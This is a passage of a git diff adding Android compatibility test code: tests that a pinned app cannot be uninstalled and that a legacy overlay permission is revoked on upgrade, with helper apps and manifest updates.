+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<FrameLayout xmlns:android="http://schemas.android.com/apk/res/android"
+        android:layout_width="fill_parent"
+        android:layout_height="fill_parent" >
+    <TextView
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="Pin me!" />
+</FrameLayout>
\ No newline at end of file
diff --git a/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/src/android/packageinstaller/selfuninstalling/cts/SelfUninstallActivity.java b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/src/android/packageinstaller/selfuninstalling/cts/SelfUninstallActivity.java
new file mode 100644
index 0000000..df5b1d4
--- /dev/null
+++ b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/src/android/packageinstaller/selfuninstalling/cts/SelfUninstallActivity.java
@@ -0,0 +1,33 @@
+package android.packageinstaller.selfuninstalling.cts;
+
+import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.net.Uri;
+import android.os.Bundle;
+import android.view.View;
+import android.widget.Button;
+
+import androidx.annotation.Nullable;
+
+public class SelfUninstallActivity extends Activity {
+
+    private static final String ACTION_SELF_UNINSTALL =
+            "android.packageinstaller.selfuninstalling.cts.action.SELF_UNINSTALL";
+
+    @Override
+    protected void onCreate(@Nullable Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.self_uninstalling_activity);
+        registerReceiver(new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                Intent i = new Intent(Intent.ACTION_UNINSTALL_PACKAGE).setData(
+                        Uri.fromParts("package", getPackageName(), null));
+                startActivity(i);
+            }
+        }, new IntentFilter(ACTION_SELF_UNINSTALL));
+    }
+}
diff --git a/tests/tests/packageinstaller/uninstall/Android.bp b/tests/tests/packageinstaller/uninstall/Android.bp
index a493305..8ae5bb4 100644
--- a/tests/tests/packageinstaller/uninstall/Android.bp
+++ b/tests/tests/packageinstaller/uninstall/Android.bp
@@ -20,6 +20,7 @@
         "androidx.test.rules",
         "compatibility-device-util-axt",
         "platform-test-annotations",
+        "cts-wm-util",
     ],
     resource_dirs: ["res"],
     srcs: ["src/**/*.java"],
diff --git a/tests/tests/packageinstaller/uninstall/AndroidTest.xml b/tests/tests/packageinstaller/uninstall/AndroidTest.xml
index 9fc0a88..dd98214 100644
--- a/tests/tests/packageinstaller/uninstall/AndroidTest.xml
+++ b/tests/tests/packageinstaller/uninstall/AndroidTest.xml
@@ -31,4 +31,14 @@
         <option name="package" value="android.packageinstaller.uninstall.cts" />
         <option name="runtime-hint" value="1m" />
     </test>
+    <!-- Create place to store apks -->
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="mkdir -p /data/local/tmp/cts/uninstall" />
+        <option name="teardown-command" value="rm -rf /data/local/tmp/cts"/>
+    </target_preparer>
+
+    <!-- Load additional APKs onto device -->
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="push" value="CtsSelfUninstallingTestApp.apk->/data/local/tmp/cts/uninstall/CtsSelfUninstallingTestApp.apk" />
+    </target_preparer>
 </configuration>
diff --git a/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallPinnedTest.java b/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallPinnedTest.java
new file mode 100644
index 0000000..84c2696
--- /dev/null
+++ b/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallPinnedTest.java
@@ -0,0 +1,164 @@
+/*
+ * Copyright (C) 2020 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.packageinstaller.uninstall.cts;
+
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+
+import static com.android.compatibility.common.util.SystemUtil.eventually;
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+import static com.android.compatibility.common.util.UiAutomatorUtils.waitFindObject;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.ActivityTaskManager;
+import android.app.PendingIntent;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageInstaller;
+import android.content.pm.PackageManager;
+import android.server.wm.WindowManagerStateHelper;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.AppOpsUtils;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.io.IOException;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+public class UninstallPinnedTest {
+
+    private static final String APK =
+            "/data/local/tmp/cts/uninstall/CtsSelfUninstallingTestApp.apk";
+    private static final String TEST_PKG_NAME = "android.packageinstaller.selfuninstalling.cts";
+    private static final String TEST_ACTIVITY_NAME = TEST_PKG_NAME + ".SelfUninstallActivity";
+    private static final String ACTION_SELF_UNINSTALL =
+            "android.packageinstaller.selfuninstalling.cts.action.SELF_UNINSTALL";
+    private static final ComponentName COMPONENT = new ComponentName(TEST_PKG_NAME, TEST_ACTIVITY_NAME);
+    public static final String CALLBACK_ACTION =
+            "android.packageinstaller.uninstall.cts.action.UNINSTALL_PINNED_CALLBACK";
+
+    private WindowManagerStateHelper mWmState = new WindowManagerStateHelper();
+    private Context mContext;
+    private UiDevice mUiDevice;
+    private ActivityTaskManager mActivityTaskManager;
+
+    @Before
+    public void setup() throws Exception {
+        mContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
+        mActivityTaskManager = mContext.getSystemService(ActivityTaskManager.class);
+
+        // Unblock UI
+        mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        if (!mUiDevice.isScreenOn()) {
+            mUiDevice.wakeUp();
+        }
+        mUiDevice.executeShellCommand("wm dismiss-keyguard");
+        AppOpsUtils.reset(mContext.getPackageName());
+
+        runShellCommand("pm install -r --force-queryable " + APK);
+
+        Intent i = new Intent()
+                .setComponent(COMPONENT)
+                .addFlags(FLAG_ACTIVITY_NEW_TASK);
+        mContext.startActivity(i);
+
+        pinActivity(COMPONENT);
+    }
+
+    @Test
+    public void testAppCantUninstallItself() throws Exception {
+        mUiDevice.waitForIdle();
+        eventually(() -> {
+            mContext.sendBroadcast(new Intent(ACTION_SELF_UNINSTALL));
+            waitFindObject(By.text("OK")).click();
+        }, 60000);
+
+        mUiDevice.waitForIdle();
+
+        Thread.sleep(5000);
+
+        assertTrue("Package was uninstalled.", isInstalled());
+    }
+
+    @Test
+    public void testCantUninstallAppDirectly() {
+        CompletableFuture<Integer> statusFuture = new CompletableFuture<>();
+        mContext.registerReceiver(new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                statusFuture.complete(
+                        intent.getIntExtra(PackageInstaller.EXTRA_STATUS, Integer.MAX_VALUE));
+            }
+        }, new IntentFilter(CALLBACK_ACTION));
+
+        runWithShellPermissionIdentity(() -> {
+            mContext.getPackageManager().getPackageInstaller().uninstall(TEST_PKG_NAME,
+                    PendingIntent.getBroadcast(mContext, 1,
+                            new Intent(CALLBACK_ACTION),
+                            0).getIntentSender());
+        });
+
+        int status = statusFuture.join();
+        assertEquals("Wrong code received", PackageInstaller.STATUS_FAILURE_BLOCKED, status);
+        assertTrue("Package was uninstalled.", isInstalled());
+    }
+
+    @Test
+    public void testCantUninstallWithShell() throws Exception {
+        mUiDevice.executeShellCommand("pm uninstall " + TEST_PKG_NAME);
+        assertTrue("Package was uninstalled.", isInstalled());
+    }
+
+    @After
+    public void unpinAndUninstall() throws IOException {
+        runWithShellPermissionIdentity(() -> mActivityTaskManager.stopSystemLockTaskMode());
+        mUiDevice.executeShellCommand("pm uninstall " + TEST_PKG_NAME);
+    }
+
+    private void pinActivity(ComponentName component) {
+        mWmState.computeState();
+
+        int stackId = mWmState.getStackIdByActivity(component);
+
+        runWithShellPermissionIdentity(() -> {
+            mActivityTaskManager.startSystemLockTaskMode(
+                    stackId);
+        });
+    }
+
+    private boolean isInstalled() {
+        try {
+            mContext.getPackageManager().getPackageInfo(TEST_PKG_NAME, 0);
+            return true;
+        } catch (PackageManager.NameNotFoundException e) {
+            return false;
+        }
+    }
+}
diff --git a/tests/tests/permission/Android.bp b/tests/tests/permission/Android.bp
index 6c42051..c3fb25a 100644
--- a/tests/tests/permission/Android.bp
+++ b/tests/tests/permission/Android.bp
@@ -34,6 +34,7 @@
         "androidx.annotation_annotation",
         "platformprotosnano",
         "permission-test-util-lib",
+        "sts-device-util",
     ],
     jni_libs: [
         "libctspermission_jni",
diff --git a/tests/tests/permission/AndroidTest.xml b/tests/tests/permission/AndroidTest.xml
index f770bfb..35da2b6 100644
--- a/tests/tests/permission/AndroidTest.xml
+++ b/tests/tests/permission/AndroidTest.xml
@@ -68,6 +68,8 @@
         <option name="push" value="CtsStorageEscalationApp28.apk->/data/local/tmp/cts/permissions/CtsStorageEscalationApp28.apk" />
         <option name="push" value="CtsStorageEscalationApp29Full.apk->/data/local/tmp/cts/permissions/CtsStorageEscalationApp29Full.apk" />
         <option name="push" value="CtsStorageEscalationApp29Scoped.apk->/data/local/tmp/cts/permissions/CtsStorageEscalationApp29Scoped.apk" />
+        <option name="push" value="CtsAppThatRequestsSystemAlertWindow22.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsSystemAlertWindow22.apk" />
+        <option name="push" value="CtsAppThatRequestsSystemAlertWindow23.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsSystemAlertWindow23.apk" />
     </target_preparer>
 
     <!-- Remove additional apps if installed -->
diff --git a/tests/tests/permission/AppThatRequestSystemAlertWindow22/Android.bp b/tests/tests/permission/AppThatRequestSystemAlertWindow22/Android.bp
new file mode 100644
index 0000000..43cc9de
--- /dev/null
+++ b/tests/tests/permission/AppThatRequestSystemAlertWindow22/Android.bp
@@ -0,0 +1,32 @@
+//
+// Copyright (C) 2022 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsAppThatRequestsSystemAlertWindow22",
+    target_sdk_version: "22",
+    certificate: ":cts-testkey2",
+    min_sdk_version: "22",
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts-permission",
+        "sts",
+    ],
+}
diff --git a/tests/tests/permission/AppThatRequestSystemAlertWindow22/AndroidManifest.xml b/tests/tests/permission/AppThatRequestSystemAlertWindow22/AndroidManifest.xml
new file mode 100644
index 0000000..8b85b13
--- /dev/null
+++ b/tests/tests/permission/AppThatRequestSystemAlertWindow22/AndroidManifest.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2022 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission3.cts.usesystemalertwindowpermission">
+
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+</manifest>
diff --git a/tests/tests/permission/AppThatRequestSystemAlertWindow23/Android.bp b/tests/tests/permission/AppThatRequestSystemAlertWindow23/Android.bp
new file mode 100644
index 0000000..403257d
--- /dev/null
+++ b/tests/tests/permission/AppThatRequestSystemAlertWindow23/Android.bp
@@ -0,0 +1,32 @@
+//
+// Copyright (C) 2022 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsAppThatRequestsSystemAlertWindow23",
+    target_sdk_version: "23",
+    certificate: ":cts-testkey2",
+    min_sdk_version: "23",
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts-permission",
+        "sts",
+    ],
+}
diff --git a/tests/tests/permission/AppThatRequestSystemAlertWindow23/AndroidManifest.xml b/tests/tests/permission/AppThatRequestSystemAlertWindow23/AndroidManifest.xml
new file mode 100644
index 0000000..8b85b13
--- /dev/null
+++ b/tests/tests/permission/AppThatRequestSystemAlertWindow23/AndroidManifest.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2022 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission3.cts.usesystemalertwindowpermission">
+
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+</manifest>
diff --git a/tests/tests/permission/src/android/permission/cts/RemovePermissionTest.java b/tests/tests/permission/src/android/permission/cts/RemovePermissionTest.java
index 3dc5f03..75da42f 100644
--- a/tests/tests/permission/src/android/permission/cts/RemovePermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/RemovePermissionTest.java
@@ -39,8 +39,10 @@
 import org.junit.Before;
 import org.junit.Test;
 
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
 @AppModeFull(reason = "Instant apps cannot read state of other packages.")
-public class RemovePermissionTest {
+public class RemovePermissionTest extends StsExtraBusinessLogicTestCase {
     private static final String APP_PKG_NAME_BASE =
             "android.permission.cts.revokepermissionwhenremoved";
     private static final String ADVERSARIAL_PERMISSION_DEFINER_PKG_NAME =
diff --git a/tests/tests/permission/src/android/permission/cts/RevokeSawPermissionTest.kt b/tests/tests/permission/src/android/permission/cts/RevokeSawPermissionTest.kt
new file mode 100644
index 0000000..f3f06de
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/RevokeSawPermissionTest.kt
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts
+
+import android.content.pm.PackageManager
+import android.platform.test.annotations.AsbSecurityTest
+import androidx.test.platform.app.InstrumentationRegistry
+import com.android.compatibility.common.util.SystemUtil
+import org.junit.After
+import org.junit.Assert
+import org.junit.Test
+
+private val APP_PKG_NAME = "android.permission3.cts.usesystemalertwindowpermission"
+private val APK_22 = "/data/local/tmp/cts/permissions/" +
+        "CtsAppThatRequestsSystemAlertWindow22.apk"
+private val APK_23 = "/data/local/tmp/cts/permissions/" +
+        "CtsAppThatRequestsSystemAlertWindow23.apk"
+
+class RevokeSawPermissionTest {
+
+    fun installApp(apk: String) {
+        SystemUtil.runShellCommand("pm install -r $apk")
+    }
+
+    @After
+    fun uninstallApp() {
+        SystemUtil.runShellCommand("pm uninstall $APP_PKG_NAME")
+    }
+
+    @AsbSecurityTest(cveBugId = [221040577L])
+    @Test
+    fun testPre23AppsWithSystemAlertWindowGetDeniedOnUpgrade() {
+        installApp(APK_22)
+        assertAppHasPermission(android.Manifest.permission.SYSTEM_ALERT_WINDOW, true)
+        installApp(APK_23)
+        assertAppHasPermission(android.Manifest.permission.SYSTEM_ALERT_WINDOW, false)
+    }
+
+    private fun assertAppHasPermission(permissionName: String, expectPermission: Boolean) {
+        Assert.assertEquals(
+            if (expectPermission) {
+                PackageManager.PERMISSION_GRANTED
+            } else {
+                PackageManager.PERMISSION_DENIED
+            },
+            InstrumentationRegistry.getInstrumentation().getTargetContext().packageManager
+                .checkPermission(permissionName, APP_PKG_NAME)
+        )
+    }
+}
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index dccea76..9aca8f7 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -478,6 +478,8 @@
     <protected-broadcast android:name="android.app.action.ACTION_PASSWORD_FAILED" />
     <protected-broadcast android:name="android.app.action.ACTION_PASSWORD_SUCCEEDED" />
     <protected-broadcast android:name="com.android.server.ACTION_EXPIRED_PASSWORD_NOTIFICATION" />
+    <protected-broadcast android:name="com.android.server.ACTION_PROFILE_OFF_DEADLINE" />
+    <protected-broadcast android:name="com.android.server.ACTION_TURN_PROFILE_ON_NOTIFICATION" />
 
     <protected-broadcast android:name="android.intent.action.MANAGED_PROFILE_ADDED" />
     <protected-broadcast android:name="android.intent.action.MANAGED_PROFILE_UNLOCKED" />
@@ -4263,6 +4265,10 @@
     <permission android:name="android.permission.WRITE_DREAM_STATE"
         android:protectionLevel="signature|privileged" />
 
+    <!-- @hide Allows applications to read whether ambient display is suppressed. -->
+    <permission android:name="android.permission.READ_DREAM_SUPPRESSION"
+        android:protectionLevel="signature" />
+
     <!-- @SystemApi Allow an application to read and write the cache partition.
          @hide -->
     <permission android:name="android.permission.ACCESS_CACHE_FILESYSTEM"
@@ -5007,6 +5013,10 @@
     <permission android:name="android.permission.ACCESS_LOCUS_ID_USAGE_STATS"
                 android:protectionLevel="signature|appPredictor" />
 
+    <!-- @hide Allows an application to create/destroy input consumer. -->
+    <permission android:name="android.permission.INPUT_CONSUMER"
+                android:protectionLevel="signature" />
+
     <application android:process="system"
                  android:persistent="true"
                  android:hasCode="false"
diff --git a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
index bea7a16..8c2d18e 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
@@ -28,10 +28,13 @@
 import android.support.test.uiautomator.BySelector
 import android.support.test.uiautomator.UiScrollable
 import android.support.test.uiautomator.UiSelector
+import android.support.test.uiautomator.StaleObjectException
 import android.text.Spanned
 import android.text.style.ClickableSpan
+import android.util.Log
 import android.view.View
 import com.android.compatibility.common.util.SystemUtil.eventually
+import com.android.compatibility.common.util.UiAutomatorUtils.waitFindObjectOrNull
 import org.junit.After
 import org.junit.Assert.assertEquals
 import org.junit.Assert.assertNotNull
@@ -463,6 +466,21 @@
             // Find the permission screen
             val permissionLabel = getPermissionLabel(permission)
             click(By.text(permissionLabel))
+
+            // Watch does not show an alert dialog when the user turns on permission, only when they
+            // turns it off.
+            if (isWatch) {
+                try {
+                    if (waitFindObjectOrNull(By.text(permissionLabel), 1000) != null) {
+                        continue
+                    }
+                } catch (e: StaleObjectException) {
+                    // It sometimes causes StaleObjectException when screen changes due to click
+                    // It should be ignored, because it depends on timing
+                    Log.w("CtsPermission3TestCases", "Caught StaleObjectException")
+                }
+            }
+
             val wasGranted = if (isAutomotive) {
                 // Automotive doesn't support one time permissions, and thus
                 // won't show an "Ask every time" message
diff --git a/tests/tests/permission4/Android.bp b/tests/tests/permission4/Android.bp
new file mode 100644
index 0000000..ad1658d
--- /dev/null
+++ b/tests/tests/permission4/Android.bp
@@ -0,0 +1,37 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test {
+    name: "CtsPermission4TestCases",
+    sdk_version: "system_current",
+    defaults: ["cts_defaults"],
+    platform_apis: true,
+    srcs: [
+        "src/**/*.kt",
+    ],
+    static_libs: [
+        "kotlin-stdlib",
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+    ],
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+        "mts",
+    ],
+}
diff --git a/tests/tests/permission4/AndroidManifest.xml b/tests/tests/permission4/AndroidManifest.xml
new file mode 100644
index 0000000..d4cc71a
--- /dev/null
+++ b/tests/tests/permission4/AndroidManifest.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission4.cts">
+
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+
+    <application>
+
+        <uses-library android:name="android.test.runner" />
+
+        <activity android:name=".StartForFutureActivity" />
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.permission4.cts"
+        android:label="CTS UI tests for permissions">
+        <meta-data
+            android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+</manifest>
diff --git a/tests/tests/permission4/AndroidTest.xml b/tests/tests/permission4/AndroidTest.xml
new file mode 100644
index 0000000..71353aa
--- /dev/null
+++ b/tests/tests/permission4/AndroidTest.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<configuration description="Config for CTS Permission4 test cases">
+
+    <option name="test-suite-tag" value="cts" />
+
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk30ModuleController" />
+
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsPermission4TestCases.apk" />
+        <option name="test-file-name" value="CtsAppThatAccessesMicAndCameraPermission.apk" />
+    </target_preparer>
+
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.permission4.cts" />
+        <option name="runtime-hint" value="5m" />
+    </test>
+</configuration>
diff --git a/tests/tests/permission4/AppThatAccessesCameraAndMic/Android.bp b/tests/tests/permission4/AppThatAccessesCameraAndMic/Android.bp
new file mode 100644
index 0000000..508e44c
--- /dev/null
+++ b/tests/tests/permission4/AppThatAccessesCameraAndMic/Android.bp
@@ -0,0 +1,37 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsAppThatAccessesMicAndCameraPermission",
+    defaults: ["cts_defaults"],
+    sdk_version: "system_current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+
+    static_libs: [
+        "androidx.test.rules",
+        "kotlin-stdlib",
+        "kotlinx-coroutines-android",
+    ],
+
+    srcs: [
+        "src/**/*.kt"
+    ],
+}
diff --git a/tests/tests/permission4/AppThatAccessesCameraAndMic/AndroidManifest.xml b/tests/tests/permission4/AppThatAccessesCameraAndMic/AndroidManifest.xml
new file mode 100644
index 0000000..938b5b5
--- /dev/null
+++ b/tests/tests/permission4/AppThatAccessesCameraAndMic/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.permission4.cts.appthataccessescameraandmic"
+          android:versionCode="1">
+
+    <uses-permission android:name="android.permission.RECORD_AUDIO"/>
+    <uses-permission android:name="android.permission.CAMERA"/>
+
+    <application android:label="CtsCameraMicAccess">
+        <activity android:name=".AccessCameraOrMicActivity"
+        android:exported="true">
+            <intent-filter>
+                <action android:name="test.action.USE_CAMERA_OR_MIC" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/tests/tests/permission4/AppThatAccessesCameraAndMic/src/android/permission4/cts/appthataccessescameraandmic/AccessCameraOrMicActivity.kt b/tests/tests/permission4/AppThatAccessesCameraAndMic/src/android/permission4/cts/appthataccessescameraandmic/AccessCameraOrMicActivity.kt
new file mode 100644
index 0000000..2be6926
--- /dev/null
+++ b/tests/tests/permission4/AppThatAccessesCameraAndMic/src/android/permission4/cts/appthataccessescameraandmic/AccessCameraOrMicActivity.kt
@@ -0,0 +1,114 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission4.cts.appthataccessescameraandmic
+
+import android.app.Activity
+import android.hardware.camera2.CameraAccessException
+import android.hardware.camera2.CameraDevice
+import android.hardware.camera2.CameraManager
+import android.media.AudioFormat.CHANNEL_IN_MONO
+import android.media.AudioFormat.ENCODING_PCM_16BIT
+import android.media.AudioRecord
+import android.media.MediaRecorder.AudioSource.MIC
+import androidx.annotation.NonNull
+import kotlinx.coroutines.GlobalScope
